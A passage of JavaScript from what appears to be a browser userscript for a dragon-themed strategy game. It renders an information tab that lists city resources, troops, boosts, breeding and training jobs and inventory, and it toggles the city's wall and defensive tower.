					}
					t.show_fulscreen = !t.show_fulscreen;
					event.target.className = UID[t.show_fulscreen ? 'btn_on' : 'btn_off'];
					swf_width = t.show_fulscreen ? '99%' : maxWidth + 'px';

					document.getElementById('container').style.width = swf_width;
					document.getElementById('castlemania_swf').style.width = swf_width;
					document.getElementById('castlemania_swf_container').style.width = swf_width;
				}
			},

			show: function() {
				var t = Tabs.Info;
				switch (toNum(t.contentType)) {
					case 0:
						t.tabInfoOverview();
						break;
					case 1:
						t.tabInfoInventory();
						break;
					case 2:
						t.tabInfoQuests();
						break;
					case 3:
						t.tabInfoHelp();
						break;
					case 4:
						t.tabInfoTroops();
						break;
					case 5:
						t.tabInfoStats();
						break;
					case 6:
						t.tabInfoWilderness();
						break;
				}
			},

			hide: function() {
				clearTimeout(Tabs.Info.timer);
			},

			onUnload: function() {
				logit('===============  Tabs.Info.onUnload');
				Data.options.info.current_tab = Tabs.Info.contentType;
			},

			tabInfoOverview: function() {
				var t = Tabs.Info;
				var city = Seed.cities[CAPITAL.id];
				var m = '<div class=' + UID['status_ticker'] + '>';
				var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
				var wallStatus = translate((Seed.cities[CAPITAL.id].defended) ? 'Defend' : 'Hiding').toUpperCase();
				var towerStatus = false;
				if(Seed.cities[CAPITAL.id].defensive_tower) {
					var towerStatus = translate((Seed.cities[CAPITAL.id].defensive_tower.tower_defending) ? 'defensivetower-orders-defend-city' : 'defensivetower-orders-inactive').toUpperCase();
				}
				var loc = '';

				clearTimeout(t.timer);
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoOverview']).className = 'selected';
				document.getElementById(UID['tabInfoOverview']).style.zIndex = 1;

				t.lastSubTab = 'tabInfoOverview';
				t.contentType = 0;
				Data.options.info.current_tab = t.contentType;

				m += '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + ' width=100%">' 
					+ '<tr><td align=left>' + city.name + '</td>' 
					+ '<td align=center>' + city.x + ',' + city.y + '</td>' 
					+ '<td align=center><font color=yellow>' + alliance_name + '</font></td>'
					+ '<td align=right><input id=' + setUID('tabInfo_setDefense') + ' type=button value="' + translate('Wall') + ' ' + wallStatus + '" class=' + UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')] + '></input>';
				if(Seed.cities[CAPITAL.id].defensive_tower != null) {
					m += '&nbsp;<input id=' + setUID('tabInfo_setDefensiveTower') + ' type=button value="' + translate('DefensiveTower') + ' ' + towerStatus + '" class=' + UID[(Seed.cities[CAPITAL.id].defensive_tower.tower_defending ? 'btn_off' : 'btn_on')] + '></input></td>';
				}
				m += '</tr></table></div>';
			
				m += dispCurrRessources(CAPITAL.id) + dispCurrPopulation(CAPITAL.id) + dispOneHourBan() + SoundPlayer.alertString.replace('&incoming_spy&', (SoundPlayer.getFirstAlert()).spy).replace('&incoming_attack&', (SoundPlayer.getFirstAlert()).attack) + dispUnits(CAPITAL.id) + '<br>' + '<table class=' + UID['table'] + ' width=100%>' + dispBoosts() + '	<tr>' + '		<td class=right width=20%>' + translate('Marching') + ': </td>' + '		<td width=30%>' + Seed.numMarches + dispMarchesCount() + '</td>' + '		<td class=right width=20%>' + translate('Wildernesses') + ': </td>' + '		<td width=30%>' + dispWildsCount() + '</td>' + '	</tr>' + dispOutpostJob('dragon', CAPITAL.id) + dispDefenseTowerHealing(CAPITAL.id) + dispOutpostJob('outpost', CAPITAL.id) + dispBuildingJob(CAPITAL.id) + dispDefenseTowerJob(CAPITAL.id) + dispResearchJob(CAPITAL.id) + dispTrainingJobs(CAPITAL.id) + '</table>' + '</div>';

				/* Outposts ... */
				if (Seed.cities.length > 0) {
					for (var cityIdx = 1; cityIdx < Seed.cities.length; ++cityIdx) {
						if (Seed.cities[cityIdx]) {
							m += '<div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + t.cityTitle(cityIdx) + '<table class=' + UID['table'] + ' width=100%>' + ((cityIdx == SPECTRAL_OUTPOST.id) ? dispSoulCapacity() : '') + dispOutpostJob('dragon', cityIdx) + dispOutpostJob('outpost', cityIdx) + dispBuildingJob(cityIdx) + dispResearchJob(cityIdx) + dispTrainingJobs(cityIdx) + dispResurrectionJobs(cityIdx) + '</table>' + '</div>';
						}
					}
				}

				m += '<br><div class=' + UID['status_ticker'] + ' style="margin-top:6px !important">' + '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + translate('dragon-sanctuary') + '</td>' + '<td align=right width=65%>&nbsp;</td>' + '</tr></table></div>' + '<table class=' + UID['table'] + ' width=100%>' + dispBreedingJob() + dispFeedHatchJob('hatching', CAPITAL.id) + dispFeedHatchJob('feeding', CAPITAL.id) + '</table>' + '</div>' + '<br>' + '<table style="margin-top:3px" width=100%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=50%>' + translate('Generals').toUpperCase() + '</td>' + '		<td width=50%>' + translate('Great dragons').toUpperCase() + '</td>' + '	</tr>' + '	<tr valign=top align=center>' + '		<td width=50% style="border-right: 1px solid;">';

				/* Generals */
				m += '		<table class=' + UID['table'] + '>';

				for (var i = 0; i < city.generals.length; i++) {

					for (var type in Data.marches) {

						if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) {
							continue;
						}

						for (var pm in Data.marches[type]) {
							var march = (Data.marches[type])[pm];

							if (march.march_type != "TransportMarch" && march.march_type != "SpyMarch") {

								try {
									if (city.generals[i].name == march.general.first_name) {

										loc = march.x + ',' + march.y;
										if (march.status == 'encamped')
											className = 'bluejwl';
										else
											className = 'jewel';
									}

								} catch (e) {
									verboseLog(translate('Error') + ': ' + 'general first_name not available' + e.name + ' ' + e.message);
								}
							}
						}
					}

					m += '		<tr>' + '			<td width=50% align=right><font color="#000000">' + city.generals[i].name + ' (' + city.generals[i].rank + ')</font></td>' + '			<td width=50%>' + (city.generals[i].busy ? '<span class="' + className + '">[' + loc + ']</span>' : '') + '</td>' + '		</tr>';
				}

				m += '		</table>' + '	</td>' + '	<td width=50% style=" padding-left:7px">' + '		<table class=' + UID['table'] + '>';

				for (var gd = 0; gd < Seed.dragonList.length; gd++) {

					var dragon = Seed.dragons[Seed.dragonList[gd].type];
					var dragStatus = '';
					var dragonlife = ' (' + numf(Math.round((dragon.life / dragon.maximum_life) * 100), ' ') + ' %)';

					if (((dragon.life / dragon.maximum_life) >= 0.75) && dragon.is_in_city && dragon.can_attack) {
						dragStatus = translate('Ready') + dragonlife;
					} else if (!dragon.is_in_city && dragon.can_attack) {
						dragStatus = translate('Attacking');
					} else if (!dragon.can_attack) {
						dragStatus = translate('Not ready') + countArmorDragon(Seed.dragonList[gd].type);
					} else if ((dragon.life / dragon.maximum_life) < 0.75) {
						dragStatus = translate('Healing') + dragonlife;
					} else {
						dragStatus = translate('Not ready') + countArmorDragon(Seed.dragonList[gd].type);
					}

					m += '		<tr>' + '			<td width=50% align=right><font color="#000000">' + translate(dragon.name) + '</font></td>' + '			<td width=50%><span class=jewel>' + dragStatus + '</span></td>' + '		</tr>';
				}

				m += '		</table>' + '		</td>' + '	</tr>' + '</table>'

				/* Marches, building, research, training */
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				document.getElementById(UID['tabInfo_Content']).addEventListener('scroll', onScroll, false);
				document.getElementById(UID['tabInfo_Content']).scrollTop = t.infoScrollPos;

				document.getElementById(UID['tabInfo_Unitsbox']).addEventListener('scroll', onScrollLeft, false);
				document.getElementById(UID['tabInfo_Content']).scrollLeft = t.infoScrollLeft;

				document.getElementById(UID['tabInfo_setDefense']).addEventListener('click', switchDefense,false);
				
				if(Seed.cities[CAPITAL.id].defensive_tower != null) {
					document.getElementById(UID['tabInfo_setDefensiveTower']).addEventListener('click', switchDefensiveTower,false);
				}

				/* Review the rows height in the Units table to realign rows */
				var rU = document.getElementById(UID['tabInfoUnits_Unit']).getElementsByTagName('TR');
				var rD = document.getElementById(UID['tabInfoUnits_Detail']).getElementsByTagName('TR');

				for (var n = 0; n < rU.length; n++) {

					var x = rU[n].getElementsByTagName('TD')[0];
					var y = rD[n].getElementsByTagName('TD')[0];

					if (x.offsetHeight != y.offsetHeight) {
						var new_height = ((x.offsetHeight > y.offsetHeight) ? x.offsetHeight : y.offsetHeight) - 2;
						x.setAttribute('height', new_height);
						y.setAttribute('height', new_height);
					}
				}
				/* End of review of the rows height in the Units table */

				t.timer = setTimeout(t.show, 5000);

				function onScroll(event) {
					if (t.contentType == 0) {
						t.infoScrollPos = document.getElementById(UID['tabInfo_Content']).scrollTop;
					}
				}

				function onScrollLeft(event) {
					if (t.contentType == 0) {
						t.infoScrollLeft = document.getElementById(UID['tabInfo_Unitsbox']).scrollLeft;
					}
				}

				function countArmorDragon(dragon_type) {
					var armors = ['BodyArmor', 'ClawGuards', 'TailGuard', 'Helmet'],
						ret = 0,
						retour = '';

					for (var i = 0; i < armors.length; i++) {
						if (toNum(Seed.player.items[dragon_type + armors[i]]) !== 0) {
							ret++;
						}
					}

					if (ret != 4) {
						retour = ' (' + translate('Got') + ' ' + ret + '/4)';
					}

					return retour;
				}

				function dispBoosts() {
					var x = '',
						m = '',
						boosts = getBoosts();

					for (var i = 0; i < boosts.length; i++) {

						if (is_protected() && boosts[i].type == 'safety' && boosts[i].run_at) {
							if (boosts[i].run_at > serverTime()) {
								var expir = timestr(boosts[i].run_at - serverTime(), true);
								x += '<tr><td width=100% colspan=4><div class=' + UID['info_protect'] + '>Protection : ' + expir + '</div></td></tr>';
							}
						}

						if (boosts[i].type != 'safety') {

							var boost = boosts[i];

							if (boosts[i].run_at && boosts[i].run_at > serverTime()) {

								var expir = timestr(boosts[i].run_at - serverTime(), true);

								if (boosts[i].id == 2) { /* combat boosts & ressource boosts */
									m += '<tr><td width=100%><font color="yellow">' + boosts[i].name + ' : ' + expir + '</font></td></tr>';
								} else if (boosts[i].id == 5) { /* curses */
									m += '<tr><td width=100%><font color="orange">' + boosts[i].name + ' : ' + expir + '</font></td></tr>';
								} else {
									m += '<tr><td width=100%>' + boosts[i].name + ' : ' + expir + '</td></tr>';
								}

							} else if (!boosts[i].run_at || boosts[i].run_at == null || boosts[i].run_at == '') {
								m += '<tr><td width=100%>' + boosts[i].name + '</td></tr>';
							}
						}
					}

					if (m != '') {
						x += '<tr><td width=100% colspan=4><div class=' + UID['info_boosts'] + '><table width=100%>' + m + '</table></div></td></tr>';
					}

					return x;
				}

				function dispBreedingJob() {
					var m = '',
						jobs = Jobs.getJobs('breeding', false, -1);

					for (var i = 0; i < jobs.length; i++) {

						var left = '',
							timeRemaining = 0,
							male = '',
							female = '';

						if (i == 0) {
							left = translate('breeding-dragon') + ':';
							timeRemaining = (jobs[i].run_at - serverTime() > 0) ? jobs[i].run_at - serverTime() : 0;
						} else {
							timeRemaining = jobs[i].duration;
						}

						if (!Seed.sanctuary_dragons[jobs[i].male_id]) {
							male = jobs[i].male_id;
							verboseLog('Error: Inexisting dragon ' + jobs[i].male_id);
						} else {
							male = translateByKey(Seed.sanctuary_dragons[jobs[i].male_id].subtype, 'rank-' + Seed.sanctuary_dragons[jobs[i].male_id].type, 'dragons');
						}

						if (!Seed.sanctuary_dragons[jobs[i].female_id]) {
							verboseLog('Error: Inexisting dragon ' + jobs[i].female_id);
							female = jobs[i].female_id;
						} else {
							female = translateByKey(Seed.sanctuary_dragons[jobs[i].female_id].subtype, 'rank-' + Seed.sanctuary_dragons[jobs[i].female_id].type, 'dragons');
						}

						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + male + ' + ' + female + '</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font></td>' + '</tr>';
					}
					return m;
				}

				function dispBuildingJob(cityIdx) {
					var m = '<tr><td width=20% class=right>' + translate('Building') + ': </td>',
						job = Jobs.getBuildingJob(cityIdx);

					if (job && job.job.run_at > serverTime()) {

						m += '<td width=50% align=left colspan=2>' + translate(job.building.type) + ' (' + job.job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else {
						m += '<td align=left width=80% colspan=3><span class=' + UID['bold_red'] + '>' + translate('None').toUpperCase() + '</span></td></tr>';
					}

					return m;
				}
				
				function dispDefenseTowerJob(cityIdx) {
					var m = '<tr><td width=20% class=right>' + translate('Building') + ': </td>',
						job = Jobs.getDefenseTowerJob(cityIdx);

					if (job && job.job.run_at > serverTime()) {

						m += '<td width=50% align=left colspan=2>' + translate(job.building.type) + ' (' + job.job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else {
						m += '<td align=left width=80% colspan=3><span class=' + UID['bold_red'] + '>' + translate('DefensiveTower') + ' ' + translate('None').toUpperCase() + '</span></td></tr>';
					}

					return m;
				}
				
				function dispDefenseTowerHealing(cityIdx) {
					var m = '<tr><td width=20% class=right>' + translate('Repairing') + ': </td>',
						job = Jobs.getDefenseTowerHealing(cityIdx);

					if (job && job.job.run_at > serverTime()) {

						m += '<td width=50% align=left colspan=2><span class=' + UID['bold_red'] + '>' + translate('DefensiveTower') + '</span> &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else {
						m += '<td align=left width=80% colspan=3><span class=' + UID['bold_red'] + '>' + translate('DefensiveTower') + ' ' + translate('None').toUpperCase() + '</span></td></tr>';
					}

					return m;
				}
				
				function dispCurrRessources(cityIdx) {
					var m = '<table style="margin-top:3px" width=100% class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=20%>' + translate('Type') + '</td>' + '		<td width=20%>' + translate('Reserves') + '</td>' + '		<td width=15%>' + translate('Per Hour') + '</td>' + '		<td width=20%>' + translate('Consumption') + '</td>' + '		<td width=25%>' + translate('Capacity') + '</td>' + '	</tr>';

					for (var p = 0; p < all_resource_types.length; p++) {
						var lock_food = false;
						var production = Seed.cities[cityIdx].figures.resource_rates[all_resource_types[p]];
						var actualStock = numf(toNum(Seed.cities[cityIdx].resources[all_resource_types[p]]));

						if (all_resource_types[p] == 'food' && Seed.player.boosts && Seed.player.boosts.collect_resources && toNum(Seed.cities[cityIdx].resources[all_resource_types[p]]) > production.capacity) {
							lock_food = true;
						}

						desc = all_resource_types[p];

						if (all_resource_types[p] == 'blue_energy') {
							desc = 'blueenergy250k';
						}
						if (all_resource_types[p] == 'lunar_energy') {
							desc = 'lunar-energy';
						}

						m += '	<tr valign=top align=center>' + '		<td align=right class=jewel>' + translate(desc) + '</td>' + '		<td align=right class=jewel>' + actualStock + '</td>' + '		<td align=right class=jewel>' + (lock_food ? '<font color=blue><b>0</b></font>' : numf(toNum(production.rate))) + '</td>' + '		<td align=right class=jewel>' + numf(toNum(production.unit_consumption || production.general_salaries || 0)) + '</td>' + '		<td align=right class=jewel>' + (production.capacity === 1E+18 ? translate('Unlimited') : numf(production.capacity)) + '</td>' + '	</tr>';
					}

					m += '</table>';

					return m;
				}

				function dispCurrPopulation(cityIdx) {
					var city = Seed.cities[cityIdx].figures.population;
					var num = city.current - city.laborers - city.armed_forces;

					num = (num < 0) ? 0 : num;

					var m = '<table style="margin-top:3px" width=100%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=20%>' + translate('Population') + '</td>' + '		<td width=20%>' + translate('Laborers') + '</td>' + '		<td width=20%>' + translate('Army') + '</td>' + '		<td width=20%>' + translate('IdlePopulation').replace(translate('Population'), '') + '</td>' + '		<td width=20%>' + translate('Capacity') + '</td>' + '	</tr>' + '	<tr>' + '		<td align=right>' + numf(city.current) + '</td>' + '		<td align=right>' + numf(city.laborers) + '</td>' + '		<td align=right>' + numf(city.armed_forces) + '</td>' + '		<td align=right>' + numf(num) + '</td>' + '		<td align=right>' + numf(city.limit) + '</td>' + '	</tr>' + '</table>';

					return m;
				}

				function dispFeedHatchJob(type, cityIdx) {
					var m = '',
						jobs = Jobs.getJobs(type, false, cityIdx);

					for (var i = 0; i < jobs.length; i++) {
						var left = '',
							timeRemaining = 0,
							dragon = '';
						var dragon_id = (type == 'feeding') ? jobs[i].dragon_id : jobs[i].egg_id;

						if (i == 0) {
							left = translate(((type == 'feeding') ? 'upgrading-dragon' : 'hatching-egg')) + ':';
							timeRemaining = (jobs[i].run_at - serverTime() > 0) ? jobs[i].run_at - serverTime() : 0;
						} else {
							timeRemaining = jobs[i].duration;
						}

						if (!Seed.sanctuary_dragons[dragon_id]) {
							dragon = dragon_id;
							verboseLog('Error: Inexisting dragon ' + dragon_id);
						} else {
							dragon = translateByKey(Seed.sanctuary_dragons[dragon_id].subtype, 'rank-' + Seed.sanctuary_dragons[dragon_id].type, 'dragons');
						}

						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + dragon + '</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font></td>' + '</tr>';
					}

					return m;
				}

				function dispMarchesCount() {
					var left = '',
						m = '';

					if (Marches.count.attacks > 0) {
						m = Marches.count.attacks + ' At';
						left = ' + ';
					}

					if (Marches.count.waves > 0) {
						m += left + Marches.count.waves + ' Wa';
						left = ' + ';
					}

					if (Marches.count.bookmark > 0) {
						m += left + Marches.count.bookmark + ' Bo';
						left = ' + ';
					}

					if (Marches.count.transport > 0) {
						m += left + Marches.count.transport + ' Tr';
						left = ' + ';
					}

					if (Marches.count.spies > 0) {
						m += left + Marches.count.spies + ' Sp';
						left = ' + ';
					}

					if (Marches.count.multiple > 0) {
						m += left + Marches.count.multiple + ' Mu';
					}

					if (m != '') {
						m = ' (' + m + ')';
					}

					return m;
				}

				function dispOneHourBan() {
					var t = Tabs.Info,
						m = '';

					if (E429_TIMER) {
						if (E429_TIMER > toNum(serverTime())) {
							var remaining = timestrh(E429_TIMER - toNum(serverTime()));
							m = '<div class=' + UID['info_alerts'] + ' width=100%><br><b>API</b> ' + translate('<b>Rate Limit Exceeded</b>, too many requests!') + ' <b>&nbsp;&nbsp;' + remaining + '</b><br>&nbsp;</div>';
						} else {
							E429_TIMER = 0;
						}
					}

					return m;
				}

				function dispOutpostJob(type, cityIdx) {
					var m = '',
						job = Jobs.getJobs(type, true, cityIdx)[0];

					if (job && job.run_at > serverTime()) {
						m += '<tr><td class=right width=20%>' + translate(((type == 'outpost') ? 'Repairing' : 'Healing')) + ':</td>' + '<td width=50% colspan=2><SPAN class=' + UID['bold_red'] + '>' + translate(((type == 'outpost') ? 'outpost-progress' : 'Dragon healing')) + '</span></td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.run_at - serverTime(), true) + '</font></td></tr>';
					}

					return m;
				}

				function dispResearchJob(cityIdx) {
					var m = '<tr>' + '		<td class=right width=20%>' + translate('Researching') + ': </td>';
					var job = Jobs.getJobs('research', true, cityIdx)[0];

					if (job && job.run_at > serverTime()) {
						m += '<td width=50% align=left colspan=2>' + translate(job.research_type) + ' (' + job.level + ') &nbsp;</td>' + '<td width=30%><font color=' + TIMER_COLOR + '>' + timestr(job.run_at - serverTime(), true) + '</font></td>' + '</tr>';
					} else if (cityIdx == CAPITAL.id) {
						m += '<td align=left width=80% colspan=3><span class=' + UID['bold_red'] + '>' + translate('None').toUpperCase() + '</span></td></tr>';
					} else {
						m = '';
					}

					return m;
				}

				function dispResurrectionJobs(cityIdx) {
					var m = '',
						trains = [];
					for (var i = 0; i < Seed.cities[cityIdx].jobs.length; i++) {
						if (Seed.cities[cityIdx].jobs[i].queue == 'resurrection' &&
							Seed.cities[cityIdx].jobs[i].unit_type &&
							Seed.cities[cityIdx].jobs[i].run_at > serverTime()
						) {
							trains.push(Seed.cities[cityIdx].jobs[i]);
						}
					}
					trains.sort(function(a, b) {
						return a.run_at - b.run_at
					});
					for (var i = 0; i < trains.length; i++) {
						var left = '',
							tot = '',
							timeRemaining = 0;
						if (i == 0) {
							left = translate('Resurrection') + ':';
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
						} else if (i == trains.length - 1) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							tot = '&nbsp;<b>(' + timestrShort(timeRemaining) + ')</b>';
							timeRemaining = trains[i].duration;
						} else {
							timeRemaining = trains[i].duration;
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + numf(trains[i].quantity, ' ') + '&nbsp;&nbsp;' + translate(trains[i].unit_type) + '&nbsp;</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font>&nbsp' + tot + '</td>' + '</tr>';
					}
					return m;
				}

				function dispSoulCapacity() {
					var m = '',
						cap = getSoulCapacity(),
						percentage = '';
					if (cap && cap.max > 0) {
						var pct = cap.min / cap.max * 10000;
						if (pct > 9000)
							percentage = '<span class=' + UID['bold_red'] + '>' + numf(Math.round(pct / 100), ' ') + '%</span>';
						else percentage = '<font color=' + TIMER_COLOR + '>' + numf(Math.round(pct / 100), ' ') + '%</font>';
						m += '<tr><td class=right width=20%>' + translate('Capacity') + ':</td>' + '	<td width=50% colspan=2><font color=' + TIMER_COLOR + '><b>' + numf(cap.min, ' ') + ' / ' + numf(cap.max, ' ') + '</b></span></td>' + '	<td width=30%>' + percentage + '</td>' + '</tr>';
					}
					return m;
				}

				function dispTrainingJobs(cityIdx) {
					var m = '',
						trains = [];
					for (var i = 0; i < Seed.cities[cityIdx].jobs.length; i++) {
						if (Seed.cities[cityIdx].jobs[i].queue == 'units' &&
							Seed.cities[cityIdx].jobs[i].unit_type &&
							Seed.cities[cityIdx].jobs[i].run_at > serverTime()
						) {
							trains.push(Seed.cities[cityIdx].jobs[i]);
						}
					}
					trains.sort(function(a, b) {
						return a.run_at - b.run_at
					});
					for (var i = 0; i < trains.length; i++) {
						var left = '',
							tot = '',
							timeRemaining = 0;
						if (i == 0) {
							left = translate('Training') + ':';
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
						} else if (i == trains.length - 1) {
							timeRemaining = (trains[i].run_at - serverTime() > 0) ? trains[i].run_at - serverTime() : 0;
							tot = '&nbsp;<b>(' + timestrShort(timeRemaining) + ')</b>';
							timeRemaining = trains[i].duration;
						} else {
							timeRemaining = trains[i].duration;
						}
						m += '<tr>' + '		<td class=right width=20%>' + left + '</td>' + '		<td align=left width=50% colspan=2>' + numf(trains[i].quantity, ' ') + '&nbsp;&nbsp;' + translate(trains[i].unit_type) + '&nbsp;</td>' + '     <td width=30%><font color=' + TIMER_COLOR + '>' + timestr(timeRemaining, true) + '</font>&nbsp' + tot + '</td>' + '</tr>';
					}
					return m;
				}

				function dispUnits(cityIdx) {
					var m = '<table width=100% style="margin-top:3px;">' + '	<tr valign=top>' + '		<td width="180px">' + '			<table class=' + UID['row_style'] + ' width=100% id=' + setUID('tabInfoUnits_Unit') + '>' + '				<tr class=' + UID['row_headers'] + ' align=center>' + '					<td width="180px">' + translate('Troops') + '</td>' + '				</tr>';
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						m += '			<tr valign=top>' + '				<td class=right>' + translate(all_unit_types[i]) + ':</td>' + '			</tr>';
					}
					m += '			</table>' + '		</td>' + '		<td width="345px">' + '			<div id=' + setUID('tabInfo_Unitsbox') + ' style="width:345px; max-width:345px; overflow-x:auto;">' + '			<div id=' + setUID('tabInfo_UnitsTable') + ' style="width:560px; max-width:560px">' + '			<table class=' + UID['row_style'] + ' width=100% id=' + setUID('tabInfoUnits_Detail') + '>' + '				<tr class=' + UID['row_headers'] + '>' + '					<td width="70px">' + translate('Army') + '</td>' + '					<td width="70px">' + translate('Defense') + '</td>' + '					<td width="70px">' + translate('In city') + '</td>' + '					<td width="70px">' + translate('In march') + '</td>' + '					<td width="80px">' + translate('Total') + '</td>' + '					<td width="70px">' + translate('Train') + '</td>' + '					<td width="70px">' + translate('Resurrect') + '</td>' + '					<td width="60px">' + translate('Souls') + '</td>' + '				</tr>';
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						m += '			<tr valign=top>' + '				<td align=right>' + numf(numTroops.total, ' ') + '</td>' + '				<td align=right>' + numf(numTroops.indefense, ' ') + '</td>' + '				<td align=right>' + numf(numTroops.incity, ' ') + '</td>' + '				<td align=right>' + (numTroops.marches ? '&nbsp;+&nbsp;<b>' + numf(numTroops.marches, ' ') + '</b>' : '') + '</td>' + '				<td align=right><b>' + numf(numTroops.all, ' ') + '</b></td>' + '				<td align=right>' + (numTroops.intraining ? numf(numTroops.intraining, ' ') : '') + '</td>' + '				<td align=right>' + (numTroops.inresurrection ? numf(numTroops.inresurrection, ' ') : '') + '</td>' + '				<td align=right>' + (numTroops.souls ? numf(numTroops.souls, ' ') : '') + '</td>' + '			</tr>';
					}
					m += '			</table>' + '			</div></div>' + '		</td>' + '	</tr>' + '</table>';
					return m;
				}

				function dispWildsCount() {
					var max = toNum(Seed.player.max_wildernesses);
					var cur = toNum(Seed.player.player_wildernesses.length);
					var m = (cur < max) ? '<span class=' + UID['bold_red'] + '>' + cur + '</span>' : cur;
					m += ' / ' + max;
					return m;
				}
				
				function switchDefensiveTower(event) {
					var t = Tabs.Info;
					var button = event.target;
					var cityId = Seed.cities[CAPITAL.id].id;
					var towerStatus = Seed.cities[CAPITAL.id].defensive_tower.tower_defending;
					var targMsg = translate('Switching tower defense');
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.switchDefensiveTower(cityId, towerStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							button.className = UID[(Seed.cities[CAPITAL.id].defensive_tower.tower_defending ? 'btn_off' : 'btn_on')];
							button.value = translate('DefensiveTower') + ' ' + translate(Seed.cities[CAPITAL.id].defensive_tower.tower_defending ? 'defensivetower-orders-defend-city' : 'defensivetower-orders-inactive').toUpperCase();
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
					var state = Seed.cities[CAPITAL.id].defensive_tower.tower_defending;
					button.className = UID[(state ? 'btn_off' : 'btn_on')];
					button.value = translate('DefensiveTower') + ' ' + translate(state ? 'defensivetower-orders-defend-city' : 'defensivetower-orders-inactive').toUpperCase();
				}

				function switchDefense(event) {
					var t = Tabs.Info;
					var button = event.target;
					var cityId = Seed.cities[CAPITAL.id].id;
					var wallStatus = Seed.cities[CAPITAL.id].defended;
					var targMsg = translate('Switching defense');
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.switchDefense(cityId, wallStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							button.className = UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')];
							button.value = translate(Seed.cities[CAPITAL.id].defended ? 'Defend' : 'Hiding').toUpperCase();
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
					var state = Seed.cities[CAPITAL.id].defended;
					button.className = UID[(state ? 'btn_off' : 'btn_on')];
					button.value = translate(state ? 'Defend' : 'Hiding').toUpperCase();
				}
			},

			tabInfoInventory: function() {
				clearTimeout(Tabs.Info.timer);
				var t = Tabs.Info;
				clearTimeout(t.timer);
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoInventory']).className = 'selected';
				document.getElementById(UID['tabInfoInventory']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoInventory';
				t.contentType = 1;
				Data.options.info.current_tab = t.contentType;
				var m = '<div class=' + UID['status_ticker'] + '>';
				m += t.cityTitle(CAPITAL.id);
				m += '<table style="margin-top:3px" width=100%>';
				var city = Seed.cities[CAPITAL.id],
					iu = [],
					ium = [],
					types = [];
				for (var type in Seed.items) {
					if ((/(featured)/.test(type))) continue;
					types.push({
						type: type,
						desc: translate(type)
					});
				}
				types.sort(function(a, b) {
					a = a.desc.toLowerCase();
					b = b.desc.toLowerCase();
					if (a > b) return 1;
					if (a < b) return -1;
					return 0;
				});
				for (var it = 0; it < types.length; it++) {
					var type = types[it].type,
						items = [];
					for (item = 0; item < Seed.items[type].length; item++) {
						var is_armor = false;
						for (var a = 0; a < Seed.armors.length && !is_armor; a++)
							if (Seed.items[type][item].type == Seed.armors[a] || 
								Seed.items[type][item].type + 'Helmet' == Seed.armors[a] ||
								Seed.items[type][item].type + 'Armor' == Seed.armors[a] ||
								Seed.items[type][item].type + 'Guard' == Seed.armors[a] ||
								Seed.items[type][item].type + 'Guards' == Seed.armors[a]) {
								is_armor = true;
							}
						num = toNum(Seed.player.items[Seed.items[type][item].type]);
						if (num > 0 && !is_armor) items.push({
							type: Seed.items[type][item].type,
							desc: translate(Seed.items[type][item].type),
							qty: num,
							usable: Seed.items[type][item].usable
						});
					}
					if (items.length > 0) {
						items.sort(function(a, b) {
							a = a.desc.toLowerCase();
							b = b.desc.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						});
						m += '<tr class=' + UID['row_headers'] + ' align=center><td style="border-bottom: 1px solid; border-bottom: 1px solid;" colspan=2>' + translate(type) + '</td></tr><tr valign=top align=center>' + '<td width=50% style="border-right: 1px solid;"><table class=' + UID['row_style'] + ' width=100%>';
